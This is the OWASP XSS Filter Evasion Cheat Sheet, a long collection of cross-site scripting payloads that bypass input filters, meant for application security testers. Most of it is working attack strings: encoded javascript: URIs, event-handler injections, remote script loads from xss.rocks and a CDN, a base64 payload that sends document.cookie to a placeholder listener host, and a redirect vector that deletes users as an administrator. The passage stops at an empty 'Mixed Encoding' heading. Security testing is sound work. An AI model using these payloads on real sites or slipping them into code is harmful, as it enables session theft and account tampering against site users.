XSS Filter Evasion Cheat Sheet¶

Introduction¶

This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: http://ha.ckers.org/xss.html. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, Cross Site Scripting Prevention, was inspired by RSnake's work and we thank RSnake for the inspiration!

Tests¶

This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.

Basic XSS Test Without Filter Evasion¶

This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):

```
<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>
```

XSS Locator (Polyglot)¶

This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:

```
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
```

(Based on this tweet by Gareth Heyes).

Malformed A Tags¶

This test skips the [href](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute to demonstrate an XSS attack using event handlers:

```
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
```

Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:

```
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
```

(Submitted by David Cross, Verified on Chrome)

Malformed IMG Tags¶

This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
```

(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)

fromCharCode¶

If the system does not allow quotes of any kind, you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

Default SRC Tag to Get Past Filters that Check SRC Domain¶

This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as `onblur` or `onclick`, providing extensive variations of the injections listed here:

```
<IMG SRC=# onmouseover="alert('xxs')">
```

(Submitted by David Cross and edited by Abdullah Hussam)

Default SRC Tag by Leaving it Empty¶

```
<IMG SRC= onmouseover="alert('xxs')">
```

Default SRC Tag by Leaving it out Entirely¶

```
<IMG onmouseover="alert('xxs')">
```

On Error Alert¶

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

IMG onerror and JavaScript Alert Encode¶

```
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
```

Decimal HTML Character References¶

Since XSS examples that use a `javascript:` directive inside an `<IMG` tag do not work on Firefox this approach uses decimal HTML character references as a workaround:

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```

Decimal HTML Character References Without Trailing Semicolons¶

This is often effective in bypassing XSS filters that look for the string `&\#XX;`, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like `$tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;` which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):

```
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```

Hexadecimal HTML Character References Without Trailing Semicolons¶

This attack is also viable against the filter for the string `$tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;`, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:

```
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

Embedded Tab¶

This approach breaks up the XSS attack:

```
<IMG SRC="jav	ascript:alert('XSS');">
```

Embedded Encoded Tab¶

This approach can also break up XSS:

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

Embedded Newline to Break Up XSS¶

While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the ASCII table for reference. The next four XSS attack examples illustrate this vector:

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

Example 1: Break Up XSS Attack with Embedded Carriage Return¶

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Example 2: Break Up JavaScript Directive with Null¶

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use `%00` in the URL string or if you want to write your own injection tool you can either use vim (`^V^@` will produce a null) or the following program to generate it into a text file. The null char `%00` is much more useful and helped me bypass certain real world filters with a variation on this example:

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS¶

This is useful if a filter's pattern match doesn't take into account spaces in the word `javascript:`, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the `javascript:` keyword. The actual reality is you can have any char from 1-32 in decimal:

```
<IMG SRC=" &#14;  javascript:alert('XSS');">
```

Example 4: Non-alpha-non-digit XSS¶

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example `\<SCRIPT\\s` != `\<SCRIPT/XSS\\s`:

```
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Based on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

Yair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces:

```
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Extraneous Open Brackets¶

This XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:

```
<<SCRIPT>alert("XSS");//\<</SCRIPT>
```

(Submitted by Franz Sedlmaier)

No Closing Script Tags¶

With Firefox, you don't actually need the `\></SCRIPT>` portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:

```
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
```

Protocol Resolution in Script Tags¶

This particular variant is partially based on Ozh's protocol resolution bypass below, and it works in IE and Edge in compatibility mode. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The `.j` is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag:

```
<SCRIPT SRC=//xss.rocks/.j>
```

(Submitted by Łukasz Pilorz)

Half Open HTML/JavaScript XSS Vector¶

Unlike Firefox, the IE rendering engine (Trident) doesn't add extra data to your page, but it does allow the `javascript:` directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this XSS vector. Even though there is no close `\>` tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following network intrusion detection system (NIDS) regex: `/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/` because it doesn't require the end `\>`. As a side note, this was also affective against a real world XSS filter using an open ended `<IFRAME` tag instead of an `<IMG` tag.

```
<IMG SRC="`<javascript:alert>`('XSS')"
```

Escaping JavaScript Escapes¶

If an application is written to output some user information inside of a JavaScript (like the following: `<SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>`) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read `<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>` which ends up un-escaping the double quote and causing the XSS vector to fire. The XSS locator uses this method:

```
\";alert('XSS');//
```

An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

```
</script><script>alert('XSS');</script>
```

End Title Tag¶

This is a simple XSS vector that closes `<TITLE>` tags, which can encapsulate the malicious cross site scripting attack:

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

INPUT Image¶

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

BODY Image¶

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

IMG Dynsrc¶

```
<IMG DYNSRC="javascript:alert('XSS')">
```

IMG Lowsrc¶

```
<IMG LOWSRC="javascript:alert('XSS')">
```

List-style-image¶

This esoteric attack focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:

```
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

VBscript in an Image¶

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

SVG Object Tag¶

```
<svg/onload=alert('XSS')>
```

ECMAScript 6¶

```
Set.constructor`alert\x28document.domain\x29
```

BODY Tag¶

This attack doesn't require using any variants of javascript: or <SCRIPT... to accomplish the XSS attack. Dan Crowley has noted that you can put a space before the equals sign (onload= != onload =):

```
<BODY ONLOAD=alert('XSS')>
```

Attacks Using Event Handlers¶

The attack with the BODY tag can be modified for use in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The Dottoro Web Reference also has a nice list of events in JavaScript.

- onAbort() (when user aborts the loading of an image)
- onActivate() (when object is set as the active element)
- onAfterPrint() (activates after user prints or previews print job)
- onAfterUpdate() (activates on data object after updating data in the source object)
- onBeforeActivate() (fires before the object is set as the active element)
- onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)
- onBeforeCut() (attacker executes the attack string right before a selection is cut)
- onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
- onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
- onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
- onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
- onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
- onBeforeUpdate() (activates on data object before updating data in the source object)
- onBegin() (the onbegin event fires immediately when the element's timeline begins)

- onBlur() (in the case where another popup is loaded and window looses focus)
- onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
- onCellChange() (fires when data changes in the data provider)
- onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
- onClick() (someone clicks on a form)
- onContextMenu() (user would need to right click on attack area)
- onControlSelect() (fires when the user is about to make a control selection of the object)
- onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
- onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
- onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
- onDataSetChanged() (fires when the data set exposed by a data source object changes)
- onDataSetComplete() (fires to indicate that all data is available from the data source object)
- onDblClick() (user double-clicks a form element or a link)
- onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
- onDrag() (requires that the user drags an object)
- onDragEnd() (requires that the user drags an object)
- onDragLeave() (requires that the user drags an object off a valid location)
- onDragEnter() (requires that the user drags an object into a valid location)
- onDragOver() (requires that the user drags an object into a valid location)
- onDragDrop() (user drops an object (e.g. file) onto the browser window)
- onDragStart() (occurs when user starts drag operation)
- onDrop() (user drops an object (e.g. file) onto the browser window)
- onEnd() (the onEnd event fires when the timeline ends.
- onError() (loading of a document or image causes an error)

- onErrorUpdate() (fires on a data bound object when an error occurs while updating the associated data in the data source object)
- onFilterChange() (fires when a visual filter completes state change)
- onFinish() (attacker can create the exploit when marquee is finished looping)
- onFocus() (attacker executes the attack string when the window gets focus)
- onFocusIn() (attacker executes the attack string when window gets focus)
- onFocusOut() (attacker executes the attack string when window looses focus)
- onHashChange() (fires when the fragment identifier part of the document's current address changed)
- onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
- onInput() (the text content of an element is changed through the user interface)
- onKeyDown() (user depresses a key)
- onKeyPress() (user presses or holds down a key)
- onKeyUp() (user releases a key)
- onLayoutComplete() (user would have to print or print preview)
- onLoad() (attacker executes the attack string after the window loads)
- onLoseCapture() (can be exploited by the releaseCapture() method)
- onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
- onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
- onMessage() (fire when the document received a message)
- onMouseDown() (the attacker would need to get the user to click on an image)
- onMouseEnter() (cursor moves over an object or area)
- onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
- onMouseMove() (the attacker would need to get the user to mouse over an image or table)
- onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
- onMouseOver() (cursor moves over an object or area)
- onMouseUp() (the attacker would need to get the user to click on an image)

- onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
- onMove() (user or attacker would move the page)
- onMoveEnd() (user or attacker would move the page)
- onMoveStart() (user or attacker would move the page)
- onOffline() (occurs if the browser is working in online mode and it starts to work offline)
- onOnline() (occurs if the browser is working in offline mode and it starts to work online)
- onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
- onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
- onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
- onPopState() (fires when user navigated the session history)
- onPropertyChange() (user or attacker would need to change an element property)
- onReadyStateChange() (user or attacker would need to change an element property)
- onRedo() (user went forward in undo transaction history)
- onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
- onReset() (user or attacker resets a form)
- onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
- onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
- onRowsEnter() (user or attacker would need to change a row in a data source)
- onRowExit() (user or attacker would need to change a row in a data source)

- `onRowDelete()` (user or attacker would need to delete a row in a data source)
- `onRowInserted()` (user or attacker would need to insert a row in a data source)
- `onScroll()` (user would need to scroll, or attacker could use the `scrollBy()` function)
- `onSeek()` (the `onReverse` event fires when the timeline is set to play in any direction other than forward)
- `onSelect()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
- `onSelectionChange()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
- `onSelectStart()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
- `onStart()` (fires at the beginning of each marquee loop)
- `onStop()` (user would need to press the stop button or leave the webpage)
- `onStorage()` (storage area changed)
- `onSyncRestored()` (user interrupts the element's ability to play its media as defined by the timeline to fire)
- `onSubmit()` (requires attacker or user submits a form)
- `onTimeError()` (user or attacker sets a time property, such as dur, to an invalid value)
- `onTrackChange()` (user or attacker changes track in a playList)
- `onUndo()` (user went backward in undo transaction history)
- `onUnload()` (as the user clicks any link or presses the back button or attacker forces a click)
- `onURLFlip()` (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
- `seekSegmentTime()` (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND¶

```
<BGSOUND SRC="javascript:alert('XSS');">
```

& JavaScript includes¶

```
<BR SIZE="&{alert('XSS')}">
```

STYLE sheet¶

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

Remote style sheet¶

Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

```
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
```

Remote style sheet part 2¶

This works the same as above, but uses a `<STYLE>` tag instead of a `<LINK>` tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end `</STYLE>` tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

```
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
```

Remote style sheet part 3¶

This only works in Gecko rendering engines and works by binding an XUL file to the parent page.

```
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
```

STYLE Tags that Breaks Up JavaScript for XSS¶

This XSS at times sends IE into an infinite loop of alerts:

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

STYLE Attribute that Breaks Up an Expression¶

```
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

(Created by Roman Ivanov)

IMG STYLE with Expressions¶

This is really a hybrid of the last two XSS vectors, but it really does show how hard STYLE tags can be to parse apart. This can send IE into a loop:

```
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
```

STYLE Tag using Background-image¶

```
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
```

STYLE Tag using Background¶

```
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
```

Anonymous HTML with STYLE Attribute¶

The IE rendering engine doesn't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:

```
<XSS STYLE="xss:expression(alert('XSS'))">
```

Local htc File¶

This is a little different than the last two XSS vectors because it uses an .htc file that must be on the same server as the XSS vector. This example file works by pulling in the JavaScript and running it as part of the style attribute:

```
<XSS STYLE="behavior: url(xss.htc);">
```

US-ASCII Encoding¶

This attack uses malformed ASCII encoding with 7 bits instead of 8. This XSS method may bypass many content filters but it only works if the host transmits in US-ASCII encoding or if you set the encoding yourself. This is more useful against web application firewall (WAF) XSS evasion than it is server side filter evasion. Apache Tomcat is the only known server that by default still transmits in US-ASCII encoding.

```
¼script¾alert(¢XSS¢)¼/script¾
```

META¶

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

META using Data¶

Directive URL scheme. This attack method is nice because it also doesn't have anything visible that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details.

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

META with Additional URL Parameter¶

If the target website attempts to see if the URL contains <http://>; at the beginning you can evade this filter rule with the following technique:

```
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

(Submitted by Moritz Naumann)

IFRAME¶

If iFrames are allowed there are a lot of other XSS problems as well:

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

IFRAME Event Based¶

IFrames and most other elements can use event based mayhem like the following:

```
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
```

(Submitted by: David Cross)

FRAME¶

Frames have the same sorts of XSS problems as iFrames

```
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
```

TABLE¶

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

TD¶

Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

```
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
```

DIV¶

DIV Background-image¶

```
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

DIV Background-image with Unicode XSS Exploit¶

This has been modified slightly to obfuscate the URL parameter:

```
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
```

(Original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail)

DIV Background-image Plus Extra Characters¶

RSnake built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

```
<DIV STYLE="background-image: url(   javascript:alert('XSS'))">
```

DIV Expression¶

A variant of this attack was effective against a real-world XSS filter by using a newline between the colon and `expression`:

```
<DIV STYLE="width: expression(alert('XSS'));">
```

Downlevel-Hidden Block¶

Only works on the IE rendering engine - Trident. Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our XSS vector to exist. Or the system might try to add comment tags around something in a vain attempt to render it harmless. As we can see, that probably wouldn't do the job:

```
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
```

<![endif]-->

BASE Tag¶

(Works on IE in safe mode) This attack needs the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that many websites uses dynamically placed images like images/image.jpg rather than full paths. If the path includes a leading forward slash like /images/image.jpg, you can remove one slash from this vector (as long as there are two to begin the comment this will work):

```
<BASE HREF="javascript:alert('XSS');//">
```

OBJECT Tag¶

If the system allows objects, you can also inject virus payloads that can infect the users, etc with the APPLET tag. The linked file is actually an HTML file that can contain your XSS:

```
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
```

EMBED SVG Which Contains XSS Vector¶

This attack only works in Firefox:

```
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxu
cz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2
ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZW
NtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EM
BED>
```

(Thanks to nEUrOO for this one)

XML Data Island with CDATA Obfuscation¶

This XSS attack works only in IE:

```
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
```

Locally hosted XML with embedded JavaScript that is generated using an XML data island¶

This attack is nearly the same as above, but instead it refers to a locally hosted (on the same server) XML file that will hold your XSS vector. You can see the result here:

```
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
```

HTML+TIME in XML¶

This attack only works in IE and remember that you need to be between HTML and BODY tags for this to work:

```
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
```

(This is how Grey Magic hacked Hotmail and Yahoo!)

Assuming you can only fit in a few characters and it filters against .js¶

This attack allows you to rename your JavaScript file to an image as an XSS vector:

```
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
```

SSI (Server Side Includes)¶

This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

```
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
```

PHP¶

This attack requires PHP to be installed on the server. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

```
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

IMG Embedded Commands¶

This attack only works when this is injected (like a web-board) in a web page behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc. This is one of the lesser used but more useful XSS vectors:

```
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
```

IMG Embedded Commands part II¶

This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal `<IMG SRC="httx://badguy.com/a.jpg">` could actually be an attack vector to run commands as the user who views the image link. Here is the `.htaccess` (under Apache) line to accomplish the vector:

```
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
```

(Thanks to Timo for part of this)

Cookie Manipulation¶

This method is pretty obscure but there are a few examples where `<META` is allowed and it can be used to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc):

```
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
```

XSS Using HTML Quote Encapsulation¶

This attack was originally tested in IE so your mileage may vary. For performing XSS on sites that allow `<SCRIPT>` but don't allow `<SCRIPT SRC...` by way of a regex filter `/\<script\[^\>\]+src/i`, do the following:

```
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

If you are performing XSS on sites that allow `<SCRIPT>` but don't allow `\<script src...` due to a regex filter that does `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i` (This is an important one, because this regex has been seen in the wild):

```
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Another XSS to evade the same filter: `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i`:

```
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Yet another XSS that evades the same filter: `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i`

Generally, we are not discussing mitigation techniques, but the only thing that stops this XSS example is, if you still want to allow `<SCRIPT>` tags but not remote script is a state machine (and of course there are other ways to get around this if they allow `<SCRIPT>` tags), use this:

```
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

And one last XSS attack to evade, `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i` using grave accents (again, doesn't work in Firefox):

```
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Here's an XSS example which works if the regex won't catch a matching pair of quotes but instead will find any quotes to terminate a parameter string improperly:

```
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

URL String Evasion¶

The following attacks work if `http://www.google.com/` is programmatically disallowed:

IP Versus Hostname¶

```
<A HREF="http://66.102.7.147/">XSS</A>
```

URL Encoding¶

```
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
```

DWORD Encoding¶

Note: there are other of variations of DWORD encoding - see the IP Obfuscation calculator below for more details:

```
<A HREF="http://1113982867/">XSS</A>
```

Hex Encoding¶

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quote is not required:

```
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
```

Octal Encoding¶

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc:

```
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
```

Base64 Encoding¶

```
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
```

Mixed Encoding¶

